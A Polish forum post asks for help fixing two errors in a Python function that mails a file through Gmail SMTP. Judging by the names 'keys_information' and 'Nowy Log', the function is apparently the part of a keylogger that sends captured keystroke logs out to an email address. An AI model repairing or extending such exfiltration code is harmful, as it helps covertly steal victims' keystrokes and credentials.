Witam, przy próbie debugowania kodu wyskakują 2 błędy:
def send_email(filename, attachment, toaddr):
fromaddr = email_address
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Nowy Log"
body = "Nowy plik tekstowy"
msg.attach(MIMEText(body, 'plain'))
filename = filename
attachment = open(attachment, 'rb')
p = MIMEBase('application', 'octet-stream')
p.set_payload((attachment).read())
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(p)
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login(fromaddr, password)
text = msg.as_string()
s.sendmail(fromaddr, toaddr, text)
s.quit()
send_email(keys_information, file_path + extend + keys_information, toaddr)
Dodaje jeszcze screenshot:
https://files.fm/u/eyspr73wj#/view/78xee387h
Błąd występuje w:
attachment = open(attachment, 'rb')
oraz
send_email(keys_information, file_path + extend + keys_information, toaddr)